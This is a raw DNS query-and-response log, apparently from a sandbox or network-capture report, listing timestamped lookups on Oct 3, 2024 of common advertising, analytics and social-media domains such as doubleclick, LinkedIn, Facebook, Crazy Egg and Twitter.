Oct 3, 2024 10:41:44.646454096 CEST	1.1.1.1	192.168.2.4	0xc847	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:44.647272110 CEST	1.1.1.1	192.168.2.4	0xea9d	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:44.647612095 CEST	1.1.1.1	192.168.2.4	0x4969	No error (0)	adservice.google.com		142.250.186.130	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:44.648468018 CEST	1.1.1.1	192.168.2.4	0xaebd	No error (0)	adservice.google.com			65	IN (0x0001)	false
Oct 3, 2024 10:41:44.649554014 CEST	1.1.1.1	192.168.2.4	0xa559	No error (0)	connect.facebook.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:44.649554014 CEST	1.1.1.1	192.168.2.4	0xa559	No error (0)	scontent.xx.fbcdn.net		157.240.0.6	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:44.649873018 CEST	1.1.1.1	192.168.2.4	0xde54	No error (0)	connect.facebook.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:44.649873018 CEST	1.1.1.1	192.168.2.4	0xde54	No error (0)	scontent.xx.fbcdn.net			65	IN (0x0001)	false
Oct 3, 2024 10:41:44.649873018 CEST	1.1.1.1	192.168.2.4	0xde54	No error (0)	scontent.xx.fbcdn.net			65	IN (0x0001)	false
Oct 3, 2024 10:41:44.654016972 CEST	1.1.1.1	192.168.2.4	0xb785	No error (0)	dsum-sec.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:44.654016972 CEST	1.1.1.1	192.168.2.4	0xb785	No error (0)	dsum-sec.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:44.655355930 CEST	1.1.1.1	192.168.2.4	0xe35d	No error (0)	dsum-sec.casalemedia.com			65	IN (0x0001)	false
Oct 3, 2024 10:41:44.665029049 CEST	1.1.1.1	192.168.2.4	0xca12	No error (0)	ad.doubleclick.net		142.250.185.134	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:44.665045977 CEST	1.1.1.1	192.168.2.4	0xb91	No error (0)	ad.doubleclick.net			65	IN (0x0001)	false
Oct 3, 2024 10:41:44.666296959 CEST	1.1.1.1	192.168.2.4	0x8236	No error (0)	cdn.pdst.fm		35.244.142.80	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:44.683294058 CEST	1.1.1.1	192.168.2.4	0x8f7b	No error (0)	tag-logger.demandbase.com		18.173.205.127	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:44.683294058 CEST	1.1.1.1	192.168.2.4	0x8f7b	No error (0)	tag-logger.demandbase.com		18.173.205.94	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:44.683294058 CEST	1.1.1.1	192.168.2.4	0x8f7b	No error (0)	tag-logger.demandbase.com		18.173.205.117	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:44.683294058 CEST	1.1.1.1	192.168.2.4	0x8f7b	No error (0)	tag-logger.demandbase.com		18.173.205.104	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:44.686459064 CEST	1.1.1.1	192.168.2.4	0x4e9c	No error (0)	js.adsrvr.org	dg2iu7dxxehbo.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:44.686713934 CEST	1.1.1.1	192.168.2.4	0x9a7a	No error (0)	js.adsrvr.org	dg2iu7dxxehbo.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:44.686713934 CEST	1.1.1.1	192.168.2.4	0x9a7a	No error (0)	dg2iu7dxxehbo.cloudfront.net		18.172.103.101	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.042649984 CEST	1.1.1.1	192.168.2.4	0x3e4d	No error (0)	px.ads.linkedin.com	afd-lnkd.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:45.042649984 CEST	1.1.1.1	192.168.2.4	0x3e4d	No error (0)	afd-lnkd.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:45.043672085 CEST	1.1.1.1	192.168.2.4	0x7cd7	No error (0)	px.ads.linkedin.com	afd-lnkd.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:45.043672085 CEST	1.1.1.1	192.168.2.4	0x7cd7	No error (0)	afd-lnkd.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:45.047467947 CEST	1.1.1.1	192.168.2.4	0xde1e	No error (0)	snap.licdn.com	od.linkedin.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:45.048280954 CEST	1.1.1.1	192.168.2.4	0x7a72	No error (0)	snap.licdn.com	od.linkedin.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:45.296541929 CEST	1.1.1.1	192.168.2.4	0x6bd1	No error (0)	js.driftt.com	dl7g9llrghqi1.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:45.296541929 CEST	1.1.1.1	192.168.2.4	0x6bd1	No error (0)	dl7g9llrghqi1.cloudfront.net		18.245.86.14	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.296541929 CEST	1.1.1.1	192.168.2.4	0x6bd1	No error (0)	dl7g9llrghqi1.cloudfront.net		18.245.86.87	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.296541929 CEST	1.1.1.1	192.168.2.4	0x6bd1	No error (0)	dl7g9llrghqi1.cloudfront.net		18.245.86.73	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.296541929 CEST	1.1.1.1	192.168.2.4	0x6bd1	No error (0)	dl7g9llrghqi1.cloudfront.net		18.245.86.77	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.314723969 CEST	1.1.1.1	192.168.2.4	0x80d1	No error (0)	js.driftt.com	dl7g9llrghqi1.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:45.604815006 CEST	1.1.1.1	192.168.2.4	0xde1f	No error (0)	pixel.everesttech.net	tp00.everesttech.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:45.604857922 CEST	1.1.1.1	192.168.2.4	0x8579	No error (0)	pixel.everesttech.net	tp00.everesttech.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:45.684073925 CEST	1.1.1.1	192.168.2.4	0xc611	No error (0)	bat-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:45.684073925 CEST	1.1.1.1	192.168.2.4	0xc611	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.684073925 CEST	1.1.1.1	192.168.2.4	0xc611	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.684499979 CEST	1.1.1.1	192.168.2.4	0x696c	No error (0)	static.ads-twitter.com	platform.twitter.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:45.684499979 CEST	1.1.1.1	192.168.2.4	0x696c	No error (0)	platform.twitter.map.fastly.net		199.232.188.157	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.685007095 CEST	1.1.1.1	192.168.2.4	0x55f6	No error (0)	static.ads-twitter.com	platform.twitter.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:45.696650982 CEST	1.1.1.1	192.168.2.4	0x7595	No error (0)	pixels.spotify.com	edge-web.dual-gslb.spotify.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:45.696700096 CEST	1.1.1.1	192.168.2.4	0x74c	No error (0)	pixels.spotify.com	edge-web.dual-gslb.spotify.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:45.696700096 CEST	1.1.1.1	192.168.2.4	0x74c	No error (0)	edge-web.dual-gslb.spotify.com		35.186.224.24	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.764491081 CEST	1.1.1.1	192.168.2.4	0x9d7e	No error (0)	ib.adnxs.com	xandr-g-geo.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:45.764491081 CEST	1.1.1.1	192.168.2.4	0x9d7e	No error (0)	ib.anycast.adnxs.com		185.89.210.212	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.764491081 CEST	1.1.1.1	192.168.2.4	0x9d7e	No error (0)	ib.anycast.adnxs.com		185.89.210.20	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.764491081 CEST	1.1.1.1	192.168.2.4	0x9d7e	No error (0)	ib.anycast.adnxs.com		185.89.210.90	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.764491081 CEST	1.1.1.1	192.168.2.4	0x9d7e	No error (0)	ib.anycast.adnxs.com		185.89.211.84	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.764491081 CEST	1.1.1.1	192.168.2.4	0x9d7e	No error (0)	ib.anycast.adnxs.com		185.89.211.116	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.764491081 CEST	1.1.1.1	192.168.2.4	0x9d7e	No error (0)	ib.anycast.adnxs.com		185.89.210.82	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.764491081 CEST	1.1.1.1	192.168.2.4	0x9d7e	No error (0)	ib.anycast.adnxs.com		185.89.210.141	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.764491081 CEST	1.1.1.1	192.168.2.4	0x9d7e	No error (0)	ib.anycast.adnxs.com		185.89.210.153	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.764491081 CEST	1.1.1.1	192.168.2.4	0x9d7e	No error (0)	ib.anycast.adnxs.com		185.89.210.244	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.764491081 CEST	1.1.1.1	192.168.2.4	0x9d7e	No error (0)	ib.anycast.adnxs.com		185.89.210.180	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.764491081 CEST	1.1.1.1	192.168.2.4	0x9d7e	No error (0)	ib.anycast.adnxs.com		185.89.210.46	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.764491081 CEST	1.1.1.1	192.168.2.4	0x9d7e	No error (0)	ib.anycast.adnxs.com		185.89.210.122	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.882411957 CEST	1.1.1.1	192.168.2.4	0x9113	No error (0)	googleads.g.doubleclick.net		142.250.186.162	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:45.882574081 CEST	1.1.1.1	192.168.2.4	0xb337	No error (0)	googleads.g.doubleclick.net			65	IN (0x0001)	false
Oct 3, 2024 10:41:45.883759975 CEST	1.1.1.1	192.168.2.4	0xddd5	No error (0)	td.doubleclick.net		142.250.186.98	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:46.205163002 CEST	1.1.1.1	192.168.2.4	0x85b7	No error (0)	px.ads.linkedin.com	afd-lnkd.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:46.205163002 CEST	1.1.1.1	192.168.2.4	0x85b7	No error (0)	afd-lnkd.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:46.205439091 CEST	1.1.1.1	192.168.2.4	0x296c	No error (0)	px.ads.linkedin.com	afd-lnkd.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:46.205439091 CEST	1.1.1.1	192.168.2.4	0x296c	No error (0)	afd-lnkd.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:47.276762009 CEST	1.1.1.1	192.168.2.4	0x1fbb	No error (0)	www.google.com		142.250.184.196	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:47.277306080 CEST	1.1.1.1	192.168.2.4	0xa019	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 3, 2024 10:41:47.449687958 CEST	1.1.1.1	192.168.2.4	0x803b	No error (0)	us-u.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:47.449687958 CEST	1.1.1.1	192.168.2.4	0x803b	No error (0)	us-u.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:47.513796091 CEST	1.1.1.1	192.168.2.4	0xfed6	No error (0)	bat-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:47.513796091 CEST	1.1.1.1	192.168.2.4	0xfed6	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:47.513796091 CEST	1.1.1.1	192.168.2.4	0xfed6	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:47.540267944 CEST	1.1.1.1	192.168.2.4	0xa46b	No error (0)	static.ads-twitter.com	platform.twitter.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:47.540267944 CEST	1.1.1.1	192.168.2.4	0xa46b	No error (0)	platform.twitter.map.fastly.net		199.232.188.157	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:47.540281057 CEST	1.1.1.1	192.168.2.4	0xd858	No error (0)	static.ads-twitter.com	platform.twitter.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:47.899714947 CEST	1.1.1.1	192.168.2.4	0xdecf	No error (0)	tracking.crazyegg.com		34.251.198.143	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:47.899714947 CEST	1.1.1.1	192.168.2.4	0xdecf	No error (0)	tracking.crazyegg.com		34.246.204.82	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:47.899714947 CEST	1.1.1.1	192.168.2.4	0xdecf	No error (0)	tracking.crazyegg.com		34.249.54.121	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:47.901412010 CEST	1.1.1.1	192.168.2.4	0x6372	No error (0)	assets-tracking.crazyegg.com		18.66.122.74	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:47.901412010 CEST	1.1.1.1	192.168.2.4	0x6372	No error (0)	assets-tracking.crazyegg.com		18.66.122.57	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:47.901412010 CEST	1.1.1.1	192.168.2.4	0x6372	No error (0)	assets-tracking.crazyegg.com		18.66.122.72	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:47.901412010 CEST	1.1.1.1	192.168.2.4	0x6372	No error (0)	assets-tracking.crazyegg.com		18.66.122.45	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:47.911695004 CEST	1.1.1.1	192.168.2.4	0x9ef1	No error (0)	pagestates-tracking.crazyegg.com		13.35.58.58	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:47.911695004 CEST	1.1.1.1	192.168.2.4	0x9ef1	No error (0)	pagestates-tracking.crazyegg.com		13.35.58.27	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:47.911695004 CEST	1.1.1.1	192.168.2.4	0x9ef1	No error (0)	pagestates-tracking.crazyegg.com		13.35.58.40	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:47.911695004 CEST	1.1.1.1	192.168.2.4	0x9ef1	No error (0)	pagestates-tracking.crazyegg.com		13.35.58.128	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:48.166999102 CEST	1.1.1.1	192.168.2.4	0x4306	No error (0)	www.linkedin.com	cf-afd.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:48.166999102 CEST	1.1.1.1	192.168.2.4	0x4306	No error (0)	cf-afd.www.linkedin.com	www.linkedin.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:48.167587042 CEST	1.1.1.1	192.168.2.4	0xc23	No error (0)	www.linkedin.com	afd-lnkd.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:48.167587042 CEST	1.1.1.1	192.168.2.4	0xc23	No error (0)	afd-lnkd.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:48.254420042 CEST	1.1.1.1	192.168.2.4	0x3015	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 3, 2024 10:41:48.255347013 CEST	1.1.1.1	192.168.2.4	0x7a8c	No error (0)	www.google.com		142.250.181.228	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:48.295255899 CEST	1.1.1.1	192.168.2.4	0xf829	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:48.295255899 CEST	1.1.1.1	192.168.2.4	0xf829	No error (0)	image2v2.pubmnet.com	pug-lhr-bc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:48.295557022 CEST	1.1.1.1	192.168.2.4	0x9ac3	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:48.295557022 CEST	1.1.1.1	192.168.2.4	0x9ac3	No error (0)	image2v2.pubmnet.com	pug-lhr-bc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:48.295557022 CEST	1.1.1.1	192.168.2.4	0x9ac3	No error (0)	pug-lhr-bc.pubmnet.com		185.64.191.210	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:48.491317034 CEST	1.1.1.1	192.168.2.4	0xda1c	No error (0)	ib.adnxs.com	xandr-g-geo.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:48.491317034 CEST	1.1.1.1	192.168.2.4	0xda1c	No error (0)	ib.anycast.adnxs.com		37.252.171.52	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:48.491317034 CEST	1.1.1.1	192.168.2.4	0xda1c	No error (0)	ib.anycast.adnxs.com		37.252.171.149	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:48.491317034 CEST	1.1.1.1	192.168.2.4	0xda1c	No error (0)	ib.anycast.adnxs.com		37.252.171.21	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:48.491317034 CEST	1.1.1.1	192.168.2.4	0xda1c	No error (0)	ib.anycast.adnxs.com		37.252.173.215	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:48.491317034 CEST	1.1.1.1	192.168.2.4	0xda1c	No error (0)	ib.anycast.adnxs.com		37.252.172.123	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:48.491317034 CEST	1.1.1.1	192.168.2.4	0xda1c	No error (0)	ib.anycast.adnxs.com		37.252.171.85	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:48.491317034 CEST	1.1.1.1	192.168.2.4	0xda1c	No error (0)	ib.anycast.adnxs.com		37.252.171.53	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:48.821573973 CEST	1.1.1.1	192.168.2.4	0xfc89	No error (0)	us-u.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:48.821573973 CEST	1.1.1.1	192.168.2.4	0xfc89	No error (0)	us-u.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:48.837821960 CEST	1.1.1.1	192.168.2.4	0xfb2	Name error (3)	sync.search.spotxchange.com	none	none	65	IN (0x0001)	false
Oct 3, 2024 10:41:48.838424921 CEST	1.1.1.1	192.168.2.4	0xde86	Name error (3)	sync.search.spotxchange.com	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:48.847934961 CEST	1.1.1.1	192.168.2.4	0x34c4	Name error (3)	sync.search.spotxchange.com	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:48.973489046 CEST	1.1.1.1	192.168.2.4	0xa3fa	No error (0)	assets-tracking.crazyegg.com		18.66.122.57	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:48.973489046 CEST	1.1.1.1	192.168.2.4	0xa3fa	No error (0)	assets-tracking.crazyegg.com		18.66.122.72	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:48.973489046 CEST	1.1.1.1	192.168.2.4	0xa3fa	No error (0)	assets-tracking.crazyegg.com		18.66.122.74	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:48.973489046 CEST	1.1.1.1	192.168.2.4	0xa3fa	No error (0)	assets-tracking.crazyegg.com		18.66.122.45	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:49.008907080 CEST	1.1.1.1	192.168.2.4	0x6f7f	No error (0)	pagestates-tracking.crazyegg.com		13.35.58.27	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:49.008907080 CEST	1.1.1.1	192.168.2.4	0x6f7f	No error (0)	pagestates-tracking.crazyegg.com		13.35.58.40	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:49.008907080 CEST	1.1.1.1	192.168.2.4	0x6f7f	No error (0)	pagestates-tracking.crazyegg.com		13.35.58.128	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:49.008907080 CEST	1.1.1.1	192.168.2.4	0x6f7f	No error (0)	pagestates-tracking.crazyegg.com		13.35.58.58	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:49.122081041 CEST	1.1.1.1	192.168.2.4	0x28b	No error (0)	tracking.crazyegg.com		34.246.204.82	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:49.122081041 CEST	1.1.1.1	192.168.2.4	0x28b	No error (0)	tracking.crazyegg.com		34.251.198.143	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:49.122081041 CEST	1.1.1.1	192.168.2.4	0x28b	No error (0)	tracking.crazyegg.com		34.249.54.121	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:49.431919098 CEST	1.1.1.1	192.168.2.4	0x3fd	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:49.431919098 CEST	1.1.1.1	192.168.2.4	0x3fd	No error (0)	image2v2.pubmnet.com	pug-lhr-bc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:49.431956053 CEST	1.1.1.1	192.168.2.4	0x529	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:49.431956053 CEST	1.1.1.1	192.168.2.4	0x529	No error (0)	image2v2.pubmnet.com	pug-lhr-bc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:49.431956053 CEST	1.1.1.1	192.168.2.4	0x529	No error (0)	pug-lhr-bc.pubmnet.com		185.64.191.210	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:49.431998968 CEST	1.1.1.1	192.168.2.4	0xed0b	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:49.431998968 CEST	1.1.1.1	192.168.2.4	0xed0b	No error (0)	image2v2.pubmnet.com	pug-lhr-bc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:49.431998968 CEST	1.1.1.1	192.168.2.4	0xed0b	No error (0)	pug-lhr-bc.pubmnet.com		185.64.191.210	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:49.432162046 CEST	1.1.1.1	192.168.2.4	0x60c7	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:49.432162046 CEST	1.1.1.1	192.168.2.4	0x60c7	No error (0)	image2v2.pubmnet.com	pug-ams-bc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:49.998322010 CEST	1.1.1.1	192.168.2.4	0x8b40	No error (0)	googleads.g.doubleclick.net		142.250.184.226	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:49.998756886 CEST	1.1.1.1	192.168.2.4	0x91f9	No error (0)	googleads.g.doubleclick.net			65	IN (0x0001)	false
Oct 3, 2024 10:41:50.026504993 CEST	1.1.1.1	192.168.2.4	0x8e51	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:50.026520967 CEST	1.1.1.1	192.168.2.4	0x6b0c	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:50.026520967 CEST	1.1.1.1	192.168.2.4	0x6b0c	No error (0)	star-mini.c10r.facebook.com		157.240.251.35	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:50.577780008 CEST	1.1.1.1	192.168.2.4	0xa8be	No error (0)	t.co		162.159.140.229	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:50.595788002 CEST	1.1.1.1	192.168.2.4	0xae29	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:50.595788002 CEST	1.1.1.1	192.168.2.4	0xae29	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:50.595788002 CEST	1.1.1.1	192.168.2.4	0xae29	No error (0)	s.twitter.com		104.244.42.195	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:50.595803022 CEST	1.1.1.1	192.168.2.4	0x7d47	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:50.595803022 CEST	1.1.1.1	192.168.2.4	0x7d47	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:50.596508026 CEST	1.1.1.1	192.168.2.4	0x7180	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:50.596508026 CEST	1.1.1.1	192.168.2.4	0x7180	No error (0)	star-mini.c10r.facebook.com		157.240.251.35	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:50.596852064 CEST	1.1.1.1	192.168.2.4	0xf4a9	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:51.051573038 CEST	1.1.1.1	192.168.2.4	0x6fbb	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:51.051597118 CEST	1.1.1.1	192.168.2.4	0xf7ce	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:51.051597118 CEST	1.1.1.1	192.168.2.4	0xf7ce	No error (0)	star-mini.c10r.facebook.com		157.240.251.35	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:51.321682930 CEST	1.1.1.1	192.168.2.4	0x9032	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:51.321682930 CEST	1.1.1.1	192.168.2.4	0x9032	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:51.321682930 CEST	1.1.1.1	192.168.2.4	0x9032	No error (0)	s.twitter.com		104.244.42.131	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:51.322865963 CEST	1.1.1.1	192.168.2.4	0x7df8	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:51.322865963 CEST	1.1.1.1	192.168.2.4	0x7df8	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:51.416970968 CEST	1.1.1.1	192.168.2.4	0x6983	No error (0)	t.co		172.66.0.227	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:51.508209944 CEST	1.1.1.1	192.168.2.4	0xfa7d	No error (0)	www.clarity.ms	clarity.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:51.508209944 CEST	1.1.1.1	192.168.2.4	0xfa7d	No error (0)	clarity.azurefd.net	azurefd-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:41:51.508209944 CEST	1.1.1.1	192.168.2.4	0xfa7d	No error (0)	shed.dual-low.s-part-0039.t-0009.t-msedge.net	s-part-0039.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
